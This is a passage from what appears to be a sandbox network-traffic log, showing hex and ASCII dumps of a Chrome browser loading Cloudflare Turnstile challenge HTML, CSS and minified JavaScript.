2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 73 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 61 29 7b Data Ascii: turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(a,"/").concat(r.theme,"/").concat(r.size).concat(s)}function Le(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function qt(e,a){
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 47 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 61 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 61 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 61 2e 67 65 74 28 6f 29 3b 61 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 62 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 74 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 Data Ascii: ion(o){if(o===null\|\|!Gt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof a!="undefined"){if(a.has(o))return a.get(o);a.set(o,c)}function c(){return be(o,arguments,te(this).constructor)
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 61 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 61 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 61 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 Data Ascii: Turnstile script tag, some features may not be available",43777);var a={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(a.loadedAsync=!0);var r=e.src,o=r.split("?");return o.length>1&&(a.params=new URLSearchParams(o[1])),a}function D(){ret
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 22 2c 68 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 68 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 32 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 57 69 64 74 68 3d 22 31 70 78 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 22 23 30 30 30 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 2c 68 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 68 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 31 30 70 78 22 2c 68 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 31 32 32 70 78 22 2c 68 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 31 70 78 22 2c 68 2e 73 74 79 6c 65 2e 6f 76 65 Data Ascii: ",h.style.position="absolute",h.style.zIndex="21474836420",h.style.borderWidth="1px",h.style.borderColor="#000",h.style.borderStyle="solid",h.style.backgroundColor="#ffffff",h.style.borderRadius="10px",h.style.left="-122px",h.style.top="-91px",h.style.ove
2024-05-22 18:01:42 UTC	1369	IN	Data Raw: 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 2d 77 69 64 74 68 22 2c 22 33 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 72 6f 6b 65 22 2c 22 23 66 66 66 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 69 6c 6c 22 2c 22 6e 6f 6e 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 31 22 2c 22 36 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 78 32 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 31 22 2c 22 31 38 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 79 32 22 2c 22 35 22 29 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 22 68 74 74 70 3a 2f 2f 77 Data Ascii: .setAttribute("stroke-width","3"),t.setAttribute("stroke","#fff"),t.setAttribute("fill","none"),t.setAttribute("x1","6"),t.setAttribute("x2","18"),t.setAttribute("y1","18"),t.setAttribute("y2","5"),n.appendChild(t);var f=document.createElementNS("http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49778	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:43 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://l6agz47874.eleteriod.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:43 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79406 Connection: close origin-agent-cluster: ?1 referrer-policy: same-origin permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-opener-policy: same-origin cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-resource-policy: cross-origin document-policy: js-profiling
2024-05-22 18:01:43 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 38 37 65 62 36 38 66 65 62 66 34 37 32 38 61 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 887eb68febf4728a-EWRalt-svc: h3=":443"; ma=86400
2024-05-22 18:01:43 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 Data Ascii: 00%; height: 100%; overflow: hidden;}body { margin: 0; background-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, blinkmacsystemfont,
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b 0a 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 Data Ascii: miterlimit: 10;}#success-icon { display: flex; margin-right: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both; stroke-width:
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .cb-lb .cb-i { border: 2px solid #dadada; background-color: #222;}.theme-dark
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c Data Ascii: border-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited,
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 Data Ascii: color: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-ov
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 74 3a 61 63 74 69 76 65 20 7e 20 73 70 61 6e 2e 63 62 2d 6c 62 2d 74 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 62 2d 6c 62 2d 74 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 63 62 2d 69 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 Data Ascii: t:active ~ span.cb-lb-t { text-decoration: underline;}.cb-lb input:focus ~ .cb-i { border: 2px solid #c44d0e;}.cb-lb input:focus ~ span.cb-lb-t { text-decoration: underline;}.cb-lb input:checked ~ .cb-i { transform: rotate(0deg) scale(1);
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 31 36 70 78 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 Data Ascii: .size-compact .cb-container { margin-top: 3px; margin-left: 0;}.size-compact #branding { display: flex; flex-flow: row-reverse wrap; place-content: center flex-start; align-items: center; margin: 5px 16px 0; padding-right: 0; text-alig
2024-05-22 18:01:43 UTC	1369	IN	Data Raw: 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 66 2d 73 74 61 67 65 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 34 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 Data Ascii: t: 0; width: 90px; text-align: center;}.rtl .size-compact #branding { padding-right: 0; padding-left: 0; text-align: center;}.rtl .size-compact #terms { text-align: center;}.rtl .size-compact #cf-stage { padding-right: 48px;}.rtl .si

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49779	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:44 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=887eb68febf4728a HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:44 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:44 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 433554 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 887eb6945a2f43bb-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:44 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 7a 2c 66 46 2c 66 47 2c 66 48 2c 66 49 2c 66 50 2c 66 56 2c 66 57 2c 67 70 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6f 2c 68 41 2c 68 4e 2c 68 53 2c 68 54 2c Data Ascii: window._cf_chl_opt.uaO=false;~function(iz,fF,fG,fH,fI,fP,fV,fW,gp,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,ho,hA,hN,hS,hT,
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 77 77 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 48 44 6c 71 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 58 47 51 6a 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 59 78 4d 56 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 64 7a 59 74 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4c 51 6b 47 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 68 70 49 57 53 27 3a 69 41 28 36 30 34 29 2c 27 46 77 67 76 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d Data Ascii: wwh':function(h,i){return h(i)},'HDlqe':function(h,i){return h>i},'XGQjl':function(h,i){return h\|i},'YxMVz':function(h,i){return i==h},'dzYta':function(h,i){return h==i},'LQkGY':function(h,i){return h===i},'hpIWS':iA(604),'FwgvC':function(h,i){return h>i}
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 43 70 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 69 44 29 7b 72 65 74 75 72 6e 20 69 44 3d 62 2c 64 5b 69 44 28 32 34 36 37 29 5d 28 4f 2c 50 29 7d 2c 27 64 54 6d 44 47 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 4f 2d 50 7d 7d 2c 69 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 27 2c 45 3d 32 2c 46 3d 33 2c 47 3d 32 2c 48 3d 5b 5d 2c 49 3d 30 2c 4a 3d 30 2c 4b 3d 30 3b 4b 3c 69 5b 69 45 28 35 33 38 29 5d 3b 4b 2b 3d 31 29 69 66 28 4c 3d 69 5b 69 45 28 31 35 31 32 29 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 69 45 28 32 31 35 35 29 5d 5b 69 45 28 32 35 34 33 29 5d 5b 69 45 28 35 38 38 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 